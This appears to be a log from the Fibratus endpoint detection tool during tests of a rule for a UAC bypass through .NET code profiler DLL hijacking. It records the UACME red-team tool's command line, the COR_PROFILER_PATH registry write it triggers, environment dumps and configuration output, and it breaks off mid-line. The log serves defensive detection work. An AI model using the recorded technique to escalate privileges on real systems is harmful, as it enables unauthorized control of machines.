CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:5cfaaa32-1199-4076-81f7-de1a936a430a WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-26T14:58:10+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: |C:\Users\nedo\AppData\Local\Temp\pe386.dll| + Event(s): + Seq: 2371089 + Pid: 1828 + Tid: 19116 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-26 14:58:09.8394822 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffa2809aa241f0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 1828 + Ppid: 7432 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:5cfaaa32-1199-4076-81f7-de1a936a430a WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-26T14:58:15+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T14:58:15+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T14:58:15+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T14:58:45+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T14:58:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:58:45+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:150 +time=2025-11-26T14:58:45+01:00 level=info msg=bootstrapping with pid 17988. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T14:58:45+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ port=>25 use-template=>true enabled=>false to=>[] content-type=>text/html] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-image=>true stack-enrichment=>true enable-fileio=>true enable-thread=>true enable-audit-api=>true enable-handle=>false enable-registry=>true min-buffers=>16 enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false buffer-size=>512 enable-threadpool=>false enable-net=>true enable-mem=>false max-buffers=>36 flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml] enabled=>true from-urls=>[]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-age=>0 formatter=>text level=>info max-backups=>15 max-size=>100] + output ......................... [ eventlog=>[ level=>info enabled=>false] http=>[ method=>POST enable-gzip=>false endpoints=>[] timeout=>5s enabled=>false serializer=>json tls-insecure-skip-verify=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ passive=>false timeout=>5s routing-key=>fibratus tls-insecure-skip-verify=>false exchange-type=>topic durable=>false vhost=>/ enabled=>false exchange=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient] elasticsearch=>[ healthcheck-timeout=>5s template-name=>fibratus flush-period=>1s sniff=>false trace-log=>false servers=>[http://127.0.0.1:9200] timeout=>5s gzip-compression=>false enabled=>false healthcheck-interval=>10s bulk-workers=>1 healthcheck=>true index-name=>fibratus]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ enabled=>false scan-timeout=>10s skip-mmaps=>false excluded-procs=>[] fastscan=>true skip-allocs=>false skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-26T14:58:45+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T14:58:45+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T14:58:53+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: |%registry.data| + Event(s): source=action/alert.go:37 +time=2025-11-26T14:59:28+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T14:59:28+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T14:59:28+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T15:00:29+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T15:00:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T15:00:29+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:150 +time=2025-11-26T15:00:29+01:00 level=info msg=bootstrapping with pid 6972. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T15:00:29+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false content-type=>text/html use-template=>true to=>[] port=>25] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ flush-interval=>1s enable-net=>true enable-threadpool=>false enable-mem=>false enable-image=>true enable-audit-api=>true enable-registry=>true stack-enrichment=>true enable-vamap=>true min-buffers=>16 max-buffers=>36 enable-handle=>false buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true enable-thread=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-size=>100 level=>info formatter=>text max-backups=>15 log-stdout=>true] + output ......................... [ http=>[ timeout=>5s endpoints=>[] enabled=>false method=>POST serializer=>json enable-gzip=>false tls-insecure-skip-verify=>false] amqp=>[ enabled=>false timeout=>5s routing-key=>fibratus delivery-mode=>transient tls-insecure-skip-verify=>false durable=>false vhost=>/ url=>amqp://localhost:5672 passive=>false exchange-type=>topic exchange=>fibratus] elasticsearch=>[ bulk-workers=>1 healthcheck-timeout=>5s trace-log=>false flush-period=>1s sniff=>false healthcheck-interval=>10s timeout=>5s enabled=>false index-name=>fibratus healthcheck=>true template-name=>fibratus servers=>[http://127.0.0.1:9200] gzip-compression=>false] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-allocs=>false skip-mmaps=>false fastscan=>true scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] excluded-procs=>[] skip-files=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T15:00:29+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T15:00:29+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T15:00:38+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: |%1.registry.data| + Event(s): source=action/alert.go:37 +time=2025-11-26T15:00:57+01:00 level=info msg=got signal 